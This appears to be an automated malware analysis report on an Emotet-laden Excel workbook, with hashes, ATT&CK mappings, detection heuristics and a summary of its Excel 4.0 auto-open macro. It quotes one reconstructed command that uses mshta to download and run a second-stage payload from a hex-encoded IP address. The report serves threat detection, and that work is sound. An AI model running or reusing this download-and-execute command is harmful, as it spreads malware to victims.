Emotet Office (OLE) / .XLSX malware analysis — malicious · ea76b7740d61ce05

MALICIOUS

Office (OLE) / .XLSX

101.5 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel

MD5: 990b8b4ed8abdeee502fa194381a38c1 SHA-1: 338146dbc7702ff07632a6ab239afbf63aa2293d SHA-256: ea76b7740d61ce058236bc846327392c3099fdf29d7222f39bbf3cbab1172e93

140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious File Execution: User Execution T1059.001 Command and Scripting Interpreter: PowerShell

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies the file as Emotet. The extracted XLM macro script contains a string that reconstructs to 'cmd /c mshta http://0xb907d607/fer/fe3.html'. This indicates the macro is designed to download and execute a second-stage payload from the specified URL, a common Emotet delivery technique.

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	2903 bytes

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